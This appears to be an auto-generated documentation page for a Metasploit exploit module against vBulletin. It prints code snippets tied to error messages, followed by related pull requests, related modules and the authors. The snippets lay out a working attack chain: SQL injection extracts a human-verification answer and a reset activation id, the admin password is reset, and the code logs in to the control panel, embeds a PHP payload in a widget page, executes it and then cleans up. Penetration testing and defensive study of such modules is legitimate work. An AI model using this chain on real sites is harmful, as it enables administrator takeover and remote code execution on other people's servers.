531: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer
532:
Could not retrieve human verification question or answer.
Here is a relevant code snippet related to the "Could not retrieve human verification question or answer." error message:
526: ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
527: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id
528:
529: hv_question = get_hv_question(hv_hash)
530: hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)
531: fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer
532:
533: print_good("Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).")
534: end
535:
536: # Make request to forget my password
Site requires captcha that we cannot bypass.
Here is a relevant code snippet related to the "Site requires captcha that we cannot bypass." error message:
535:
536: # Make request to forget my password
537: brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)
538:
539: # We fail here when the answer to the HV question contains a complex regex or is recaptcha2
540: fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
541: end
542:
543: # Get Activation ID for forgot password request from DB
544: activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
545: fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
Could not retrieve activation id for forgot password request.
Here is a relevant code snippet related to the "Could not retrieve activation id for forgot password request." error message:
540: fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret
541: end
542:
543: # Get Activation ID for forgot password request from DB
544: activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', "userid = '#{admin_uid}'")
545: fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
546:
547: # Make request setting new password
548: new_pass = rand_text_alphanumeric(rand(10..16))
549: rp_ret = reset_password(admin_uid, activation_id, new_pass)
550: fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
Error attempting to reset password with activation id '<ACTIVATION_ID>'.
Here is a relevant code snippet related to the "Error attempting to reset password with activation id '<ACTIVATION_ID>'." error message:
545: fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id
546:
547: # Make request setting new password
548: new_pass = rand_text_alphanumeric(rand(10..16))
549: rp_ret = reset_password(admin_uid, activation_id, new_pass)
550: fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
551:
552: # Login to vBulletin
553: cookie_jar, login_token = login(admin_user, new_pass)
554: fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
555:
Could not login with username: '<ADMIN_USER>' and password: '<NEW_PASS>'.
Here is a relevant code snippet related to the "Could not login with username: '<ADMIN_USER>' and password: '<NEW_PASS>'." error message:
549: rp_ret = reset_password(admin_uid, activation_id, new_pass)
550: fail_with(Failure::UnexpectedReply, "Error attempting to reset password with activation id '#{activation_id}'.") unless rp_ret
551:
552: # Login to vBulletin
553: cookie_jar, login_token = login(admin_user, new_pass)
554: fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
555:
556: # Activate Site Builder (is this necessary?!)
557: actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
558: fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
559:
Could not activate site builder.
Here is a relevant code snippet related to the "Could not activate site builder." error message:
553: cookie_jar, login_token = login(admin_user, new_pass)
554: fail_with(Failure::NoAccess, "Could not login with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
555:
556: # Activate Site Builder (is this necessary?!)
557: actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
558: fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
559:
560: # Login to vBulletin
561: cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
562: fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
563:
Could not login to CP with username: '<ADMIN_USER>' and password: '<NEW_PASS>'.
Here is a relevant code snippet related to the "Could not login to CP with username: '<ADMIN_USER>' and password: '<NEW_PASS>'." error message:
557: actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)
558: fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret
559:
560: # Login to vBulletin
561: cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
562: fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
563:
564: # Create new widget
565: wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
566: fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
567:
Could not create new widget instance.
Here is a relevant code snippet related to the "Could not create new widget instance." error message:
561: cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')
562: fail_with(Failure::NoAccess, "Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.") unless login_token
563:
564: # Create new widget
565: wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
566: fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
567:
568: # Save modifications to widget
569: sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
570: fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret
571:
Could not save payload modifications into widget instance.
Here is a relevant code snippet related to the "Could not save payload modifications into widget instance." error message:
565: wi_id, pt_id = new_widget_instance(login_token, cookie_jar)
566: fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id
567:
568: # Save modifications to widget
569: sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)
570: fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret
571:
572: # Add page with widget embedded
573: payload_url = rand_text_alphanumeric(rand(6..10))
574: session_info = [login_token, cookie_jar]
575: page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
Could not save newly created page with malicious widget.
Here is a relevant code snippet related to the "Could not save newly created page with malicious widget." error message:
571:
572: # Add page with widget embedded
573: payload_url = rand_text_alphanumeric(rand(6..10))
574: session_info = [login_token, cookie_jar]
575: page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)
576: fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id
577:
578: # Execute php payload
579: print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
580: exec_payload(payload_url)
581:
Could not delete page (cleanup phase).
Here is a relevant code snippet related to the "Could not delete page (cleanup phase)." error message:
577:
578: # Execute php payload
579: print_good("Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.")
580: exec_payload(payload_url)
581:
582: # Delete page with widget embedded within it
583: dp_ret = delete_page(page_id, login_token, cookie_jar)
584: print_bad('Could not delete page (cleanup phase).') unless dp_ret
585: end
586:
587: end
Go back to menu.
Related Pull Requests
- #15556 Merged Pull Request: Add shell support to enum_unattended module
- #15564 Merged Pull Request: Update post_common mixin methods to support powershell session type
- #15570 Merged Pull Request: Fix smb enum gpp module
- #15546 Merged Pull Request: Fix #15480, fix IgnoreUnknownPayloads for stageless reverse_http payloads
- #15561 Merged Pull Request: Add an exploit for ProxyShell
- #15525 Merged Pull Request: Add Lucee Administrator CVE-2021-21307 exploit
- #15332 Merged Pull Request: fix a localization issue and some other minor issues in
rename_file
method - #15540 Merged Pull Request: Add option for running
cmd_execute
in a subshell - #15303 Merged Pull Request: Fix
dir
method for windows shell sessions - #15547 Merged Pull Request: Bump rex-text to 0.2.36
References
See Also
Check also the following modules related to this module:
- auxiliary/gather/vbulletin_getindexablecontent_sqli
- exploit/multi/http/vbulletin_unserialize
- exploit/multi/http/vbulletin_widgetconfig_rce
- exploit/multi/http/vbulletin_widget_template_rce
- auxiliary/admin/http/vbulletin_upgrade_admin
- auxiliary/gather/vbulletin_vote_sqli
- exploit/unix/webapp/vbulletin_vote_sqli_exec
- exploit/unix/webapp/php_vbulletin_template
Related Nessus plugins:
Authors
- Charles Fol <folcharles[at]gmail.com>
- Zenofex <zenofex[at]exploitee.rs>
Version
This page has been produced using Metasploit Framework version 6.1.28-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.